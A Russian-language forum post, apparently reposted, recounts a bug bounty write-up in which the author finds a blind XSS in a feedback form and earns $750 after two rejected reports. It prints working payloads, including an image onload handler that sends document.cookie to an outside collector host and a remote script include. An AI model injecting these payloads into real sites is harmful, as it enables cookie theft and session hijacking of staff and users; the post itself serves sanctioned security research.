От нуля до вознаграждения в $750 за Blind XSS

Man

Professional
Messages
3,055
Reaction score
580
Points
113
Без лишних слов, постараюсь изложить всё по существу.

Это частная программа, поэтому будем называть её www.target.com.

Уязвимая форма: форма обратной связи на сайте www.target.com.

Я использовал www.blindf.com для поиска Blind XSS. Вы можете использовать свой собственный VPS для получения ответа.

Моя методика поиска Blind XSS:

По моему опыту, базовый payload для Blind XSS

Code:
"></script><script src=https://blindf.com/bx.php></script>

часто не работает. Также любой другой payload, который извлекает DOM или исходный код страницы, тоже не всегда срабатывает. Поэтому для поиска Blind XSS я использую "слепые" HTML payload'ы:

Code:
"><img src=’https://blindf.com/b.php?c=querytoremember'/>

в каждом текстовом поле. Причина их использования заключается в обходе WAF или любой другой защиты, внедрённой разработчиком. Поскольку данный payload не использует код на JavaScript и теги «script», он выполняется без проблем и отправляет ответ на www.blindf.com при выполнении. После получения ответа можно приступать к тестированию Blind XSS.

Как я нашёл эту уязвимость:

Я использовал BHTML payload:

Code:
"><img src=’https://blindf.com/b.php?c=querytoremember'>

во всех текстовых полях формы обратной связи на сайте www.target.com/feedback.

Через несколько дней www.blindf.com получил ответ с уязвимого сервера.

Я перешел к использованию базового payload для Blind XSS:

Code:
"></script><script src=https://blindf.com/bx.php></script>

чтобы проверить наличие уязвимости Blind XSS. Поскольку к тому моменту я уже знал, что форма уязвима.

Я ждал 20 дней, но ответа так и не получил.

Затем я решил применить хитрость. Я вставил слепой HTML payload:

Code:
"><img src=’https://blindf.com/b.php?c=target_com_latestpayload'>

и отправил форму. Я отправил форму повторно с моим базовым payload для Blind XSS. Таким образом, я отправил форму дважды: первый раз с BHTML payload, а второй — с BXSS payload.

Через некоторое время я получил ответ на BHTML payload, но на BXSS payload ответа не было. Я понял, что мой BXSS payload не сработал и больше не отправит ответ. Поскольку оба payload'а были отправлены в один и тот же день, они должны были быть выполнены одновременно.

На www.blindf.com есть и другие payload'ы, которые требуют минимального выполнения JavaScript. Я использовал другой payload, который просто извлекает cookies, не касаясь значений DOM на странице.

Нагрузка:

Code:
"><img src=https://blindf.com/a.jpg onload=this.src=’https://blindf.com/oc.php/?c='+document.cookie>
  • Этот payload был выполнен, и я получил базовый cookie.
  • Отправка отчёта об ошибке
  • Триажер попытался воспроизвести баг, но ему это не удалось. Поэтому он отклонил мой отчёт с пометкой "N/a" (не применимо).

cd835d45-d4af-4f2f-a1b9-ae9b4a64b5a3.png


  • Я поднял вопрос повторно. Другой триажер использовал популярный веб-сайт для поиска Blind XSS, но снова не получил ответа.
  • Отчёт вновь был закрыт как "N/a".

7020e59d-729c-44e5-a320-b4037985e72f.png


  • Я снова поднял вопрос и предоставил ему учетные данные от моего аккаунта на www.blindf.com, чтобы он мог воспроизвести баг.
  • Я попросил его заполнить форму дважды: первый раз с BHTML payload, второй — с BXSS (payload для извлечения cookies).
  • Обе нагрузки были выполнены, и www.blindf.com получил ответы от них обоих.
  • Триаж прошёл успешно
  • Вознаграждение получено: $750

9663d161-f5a3-4541-912a-1ed9d63a2d83.png


После того, как мои отчёты дважды закрывали с пометкой "N/a", я наконец получил вознаграждение.

Источник
 
Top